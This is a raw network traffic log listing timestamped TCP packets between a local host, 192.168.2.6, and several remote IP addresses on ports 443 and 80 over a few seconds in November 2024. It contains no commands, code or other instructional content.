Nov 23, 2024 19:52:33.966206074 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.969342947 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.971276045 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:33.971283913 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.974396944 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.974461079 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:33.974467993 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.977142096 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.977305889 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.977413893 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:33.977421045 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.979640007 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:33.979912043 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.983647108 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.983778000 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:33.983786106 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.985922098 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.986012936 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:33.986020088 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.988540888 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.988616943 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:33.988625050 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.989634037 CET	443	49780	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:33.990411997 CET	49780	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:33.990434885 CET	443	49780	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:33.990988970 CET	49780	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:33.990997076 CET	443	49780	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:33.991244078 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.991544962 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:33.991553068 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.996809006 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.996848106 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.996968985 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:33.996977091 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:33.997236013 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:33.999561071 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:34.002830029 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:34.002899885 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:34.002909899 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:34.005239964 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:34.005264044 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:34.005443096 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:34.005465984 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:34.005701065 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:34.005840063 CET	49776	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:34.005851030 CET	443	49776	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:34.493025064 CET	443	49781	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:34.493724108 CET	49781	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:34.493746996 CET	443	49781	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:34.494658947 CET	49781	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:34.494666100 CET	443	49781	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:34.510438919 CET	49789	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:34.510494947 CET	443	49789	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:34.510560989 CET	49789	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:34.510848045 CET	49789	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:34.510869980 CET	443	49789	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:34.517851114 CET	443	49779	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:34.517920017 CET	443	49779	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:34.518021107 CET	49779	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:34.518156052 CET	49779	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:34.518173933 CET	443	49779	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:34.518182039 CET	49779	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:34.518188000 CET	443	49779	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:34.522366047 CET	49790	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:34.522389889 CET	443	49790	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:34.522458076 CET	49790	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:34.522845030 CET	49790	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:34.522860050 CET	443	49790	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:34.526184082 CET	443	49780	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:34.526254892 CET	443	49780	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:34.526310921 CET	49780	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:34.526421070 CET	49780	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:34.526439905 CET	443	49780	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:34.526457071 CET	49780	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:34.526464939 CET	443	49780	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:34.529202938 CET	49791	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:34.529226065 CET	443	49791	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:34.529484034 CET	49791	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:34.529484987 CET	49791	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:34.529515982 CET	443	49791	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:34.741441965 CET	443	49783	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:34.742110968 CET	49783	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:34.742136955 CET	443	49783	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:34.742856026 CET	49783	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:34.742861986 CET	443	49783	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:34.883138895 CET	443	49782	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:34.883737087 CET	49782	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:34.883768082 CET	443	49782	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:34.884361982 CET	49782	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:34.884368896 CET	443	49782	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:35.403301954 CET	443	49781	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:35.403424025 CET	443	49781	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:35.403738976 CET	49781	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:35.403738976 CET	49781	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:35.404192924 CET	49781	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:35.404213905 CET	443	49781	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:35.407608032 CET	49794	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:35.407636881 CET	443	49794	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:35.407798052 CET	49794	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:35.411761045 CET	49794	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:35.411778927 CET	443	49794	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:35.427791119 CET	49795	443	192.168.2.6	20.198.118.190
Nov 23, 2024 19:52:35.427803993 CET	443	49795	20.198.118.190	192.168.2.6
Nov 23, 2024 19:52:35.432296991 CET	49795	443	192.168.2.6	20.198.118.190
Nov 23, 2024 19:52:35.433141947 CET	49795	443	192.168.2.6	20.198.118.190
Nov 23, 2024 19:52:35.433157921 CET	443	49795	20.198.118.190	192.168.2.6
Nov 23, 2024 19:52:35.731755972 CET	443	49783	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:35.732053995 CET	443	49783	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:35.736076117 CET	49783	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:35.736490011 CET	49783	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:35.736490011 CET	49783	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:35.736505032 CET	443	49783	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:35.736514091 CET	443	49783	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:35.747842073 CET	49796	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:35.747873068 CET	443	49796	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:35.748136997 CET	49796	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:35.748457909 CET	49796	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:35.748473883 CET	443	49796	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:35.830477953 CET	443	49782	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:35.830542088 CET	443	49782	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:35.830615997 CET	49782	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:35.831032991 CET	49782	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:35.831032991 CET	49782	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:35.831048012 CET	443	49782	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:35.831058025 CET	443	49782	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:35.837568998 CET	49797	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:35.837601900 CET	443	49797	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:35.841644049 CET	49797	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:35.842029095 CET	49797	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:35.842041969 CET	443	49797	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:36.055252075 CET	49800	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:36.055253029 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:36.264775991 CET	49801	443	192.168.2.6	2.18.109.164
Nov 23, 2024 19:52:36.264816999 CET	443	49801	2.18.109.164	192.168.2.6
Nov 23, 2024 19:52:36.264981985 CET	49801	443	192.168.2.6	2.18.109.164
Nov 23, 2024 19:52:36.269551992 CET	49801	443	192.168.2.6	2.18.109.164
Nov 23, 2024 19:52:36.269563913 CET	443	49801	2.18.109.164	192.168.2.6
Nov 23, 2024 19:52:36.543529034 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:36.543548107 CET	80	49800	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:36.543741941 CET	49800	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:36.613038063 CET	49800	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:36.739224911 CET	443	49789	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:36.743825912 CET	49789	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:36.743844986 CET	443	49789	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:36.744307995 CET	443	49789	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:36.745388031 CET	49789	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:36.745492935 CET	443	49789	172.217.21.36	192.168.2.6
Nov 23, 2024 19:52:36.793288946 CET	49789	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:37.164192915 CET	443	49790	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:37.164870977 CET	49790	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:37.164895058 CET	443	49790	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:37.165677071 CET	49790	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:37.165683985 CET	443	49790	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:37.185388088 CET	80	49800	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:37.203737974 CET	443	49791	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:37.204503059 CET	49791	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:37.204510927 CET	443	49791	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:37.205024958 CET	49791	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:37.205029011 CET	443	49791	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:38.098754883 CET	443	49794	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:38.099447012 CET	49794	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:38.099473953 CET	443	49794	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:38.100052118 CET	49794	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:38.100058079 CET	443	49794	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:38.289875984 CET	443	49790	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:38.290131092 CET	443	49790	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:38.290226936 CET	49790	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:38.290524960 CET	49790	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:38.290546894 CET	443	49790	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:38.290560007 CET	49790	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:38.290565014 CET	443	49790	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:38.296380997 CET	49802	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:38.296441078 CET	443	49802	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:38.296619892 CET	49802	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:38.297235966 CET	49802	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:38.297252893 CET	443	49802	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:38.365338087 CET	443	49791	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:38.365417004 CET	443	49791	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:38.365542889 CET	49791	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:38.365771055 CET	49791	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:38.365784883 CET	443	49791	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:38.365866899 CET	49791	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:38.365875006 CET	443	49791	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:38.369404078 CET	49803	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:38.369448900 CET	443	49803	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:38.369569063 CET	49803	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:38.369774103 CET	49803	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:38.369791985 CET	443	49803	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:38.434137106 CET	443	49801	2.18.109.164	192.168.2.6
Nov 23, 2024 19:52:38.434220076 CET	49801	443	192.168.2.6	2.18.109.164
Nov 23, 2024 19:52:38.436192036 CET	49801	443	192.168.2.6	2.18.109.164
Nov 23, 2024 19:52:38.436204910 CET	443	49801	2.18.109.164	192.168.2.6
Nov 23, 2024 19:52:38.436469078 CET	443	49801	2.18.109.164	192.168.2.6
Nov 23, 2024 19:52:38.478319883 CET	49801	443	192.168.2.6	2.18.109.164
Nov 23, 2024 19:52:38.478857040 CET	49801	443	192.168.2.6	2.18.109.164
Nov 23, 2024 19:52:38.523335934 CET	443	49801	2.18.109.164	192.168.2.6
Nov 23, 2024 19:52:38.545269966 CET	443	49794	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:38.545353889 CET	443	49794	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:38.545422077 CET	49794	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:38.545689106 CET	49794	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:38.545705080 CET	443	49794	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:38.545713902 CET	49794	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:38.545720100 CET	443	49794	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:38.550350904 CET	49804	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:38.550399065 CET	443	49804	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:38.550496101 CET	49804	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:38.552038908 CET	49804	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:38.552068949 CET	443	49804	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:38.578466892 CET	443	49796	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:38.578968048 CET	49796	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:38.578979015 CET	443	49796	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:38.579487085 CET	49796	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:38.579493999 CET	443	49796	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:38.581311941 CET	443	49797	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:38.581962109 CET	49797	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:38.581980944 CET	443	49797	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:38.582515001 CET	49797	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:38.582521915 CET	443	49797	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:38.586949110 CET	443	49795	20.198.118.190	192.168.2.6
Nov 23, 2024 19:52:38.587030888 CET	49795	443	192.168.2.6	20.198.118.190
Nov 23, 2024 19:52:38.590755939 CET	49795	443	192.168.2.6	20.198.118.190
Nov 23, 2024 19:52:38.590760946 CET	443	49795	20.198.118.190	192.168.2.6
Nov 23, 2024 19:52:38.591057062 CET	443	49795	20.198.118.190	192.168.2.6
Nov 23, 2024 19:52:38.593517065 CET	49795	443	192.168.2.6	20.198.118.190
Nov 23, 2024 19:52:38.593668938 CET	49795	443	192.168.2.6	20.198.118.190
Nov 23, 2024 19:52:38.593674898 CET	443	49795	20.198.118.190	192.168.2.6
Nov 23, 2024 19:52:38.593858004 CET	49795	443	192.168.2.6	20.198.118.190
Nov 23, 2024 19:52:38.635338068 CET	443	49795	20.198.118.190	192.168.2.6
Nov 23, 2024 19:52:38.757285118 CET	80	49800	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:38.757371902 CET	49800	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:38.951215029 CET	443	49801	2.18.109.164	192.168.2.6
Nov 23, 2024 19:52:38.951280117 CET	443	49801	2.18.109.164	192.168.2.6
Nov 23, 2024 19:52:38.951375961 CET	49801	443	192.168.2.6	2.18.109.164
Nov 23, 2024 19:52:39.041192055 CET	443	49796	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:39.041279078 CET	443	49796	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:39.041347027 CET	49796	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:39.044303894 CET	443	49797	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:39.044373035 CET	443	49797	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:39.044441938 CET	49797	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:39.271008015 CET	443	49795	20.198.118.190	192.168.2.6
Nov 23, 2024 19:52:39.271169901 CET	443	49795	20.198.118.190	192.168.2.6
Nov 23, 2024 19:52:39.271248102 CET	49795	443	192.168.2.6	20.198.118.190
Nov 23, 2024 19:52:39.273721933 CET	49795	443	192.168.2.6	20.198.118.190
Nov 23, 2024 19:52:39.273755074 CET	443	49795	20.198.118.190	192.168.2.6
Nov 23, 2024 19:52:39.397258043 CET	49801	443	192.168.2.6	2.18.109.164
Nov 23, 2024 19:52:39.397284031 CET	443	49801	2.18.109.164	192.168.2.6
Nov 23, 2024 19:52:39.397294998 CET	49801	443	192.168.2.6	2.18.109.164
Nov 23, 2024 19:52:39.397301912 CET	443	49801	2.18.109.164	192.168.2.6
Nov 23, 2024 19:52:39.406944990 CET	49796	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:39.406980038 CET	443	49796	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:39.406997919 CET	49796	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:39.407006025 CET	443	49796	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:39.409810066 CET	49797	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:39.409810066 CET	49797	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:39.409835100 CET	443	49797	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:39.409843922 CET	443	49797	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:39.497775078 CET	49805	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:39.497817039 CET	443	49805	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:39.497884035 CET	49805	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:39.499799013 CET	49806	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:39.499850988 CET	443	49806	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:39.499964952 CET	49806	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:39.500076056 CET	49805	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:39.500093937 CET	443	49805	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:39.501555920 CET	49806	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:39.501575947 CET	443	49806	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:39.531565905 CET	49800	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:39.536983967 CET	49807	443	192.168.2.6	2.18.109.164
Nov 23, 2024 19:52:39.537019014 CET	443	49807	2.18.109.164	192.168.2.6
Nov 23, 2024 19:52:39.537081957 CET	49807	443	192.168.2.6	2.18.109.164
Nov 23, 2024 19:52:39.537724972 CET	49807	443	192.168.2.6	2.18.109.164
Nov 23, 2024 19:52:39.537736893 CET	443	49807	2.18.109.164	192.168.2.6
Nov 23, 2024 19:52:39.624260902 CET	49789	443	192.168.2.6	172.217.21.36
Nov 23, 2024 19:52:39.659377098 CET	80	49800	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:40.052592993 CET	443	49802	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:40.053221941 CET	49802	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:40.053255081 CET	443	49802	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:40.053898096 CET	49802	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:40.053903103 CET	443	49802	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:40.324826002 CET	443	49803	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:40.325664043 CET	49803	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:40.325711012 CET	443	49803	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:40.326222897 CET	49803	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:40.326231956 CET	443	49803	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:40.441761017 CET	443	49804	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:40.442420959 CET	49804	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:40.442459106 CET	443	49804	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:40.443011045 CET	49804	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:40.443021059 CET	443	49804	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:40.491452932 CET	80	49800	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:40.491524935 CET	49800	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:40.528198004 CET	443	49802	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:40.528271914 CET	443	49802	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:40.528347015 CET	49802	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:40.528702021 CET	49802	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:40.528728008 CET	443	49802	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:40.528742075 CET	49802	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:40.528749943 CET	443	49802	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:40.532176971 CET	49808	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:40.532238007 CET	443	49808	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:40.532310009 CET	49808	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:40.532535076 CET	49808	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:40.532561064 CET	443	49808	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:40.906445980 CET	443	49803	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:40.906528950 CET	443	49803	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:40.906641006 CET	49803	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:40.910733938 CET	49803	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:40.910754919 CET	443	49803	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:40.910768032 CET	49803	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:40.910775900 CET	443	49803	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:40.933353901 CET	49809	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:40.933406115 CET	443	49809	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:40.934189081 CET	49809	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:40.938438892 CET	49809	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:40.938458920 CET	443	49809	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:40.956197977 CET	443	49804	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:40.956274033 CET	443	49804	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:40.956367016 CET	49804	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:40.957593918 CET	49804	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:40.957612991 CET	443	49804	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:40.957627058 CET	49804	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:40.957633018 CET	443	49804	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:40.965039968 CET	49810	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:40.965073109 CET	443	49810	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:40.965183020 CET	49810	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:40.965616941 CET	49810	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:40.965636969 CET	443	49810	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:41.108011007 CET	443	49807	2.18.109.164	192.168.2.6
Nov 23, 2024 19:52:41.108110905 CET	49807	443	192.168.2.6	2.18.109.164
Nov 23, 2024 19:52:41.111121893 CET	49807	443	192.168.2.6	2.18.109.164
Nov 23, 2024 19:52:41.111144066 CET	443	49807	2.18.109.164	192.168.2.6
Nov 23, 2024 19:52:41.112215996 CET	443	49807	2.18.109.164	192.168.2.6
Nov 23, 2024 19:52:41.113795996 CET	49807	443	192.168.2.6	2.18.109.164
Nov 23, 2024 19:52:41.155339956 CET	443	49807	2.18.109.164	192.168.2.6
Nov 23, 2024 19:52:41.457720041 CET	443	49805	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:41.487796068 CET	49805	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:41.487818003 CET	443	49805	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:41.488485098 CET	49805	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:41.488490105 CET	443	49805	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:41.618415117 CET	443	49807	2.18.109.164	192.168.2.6
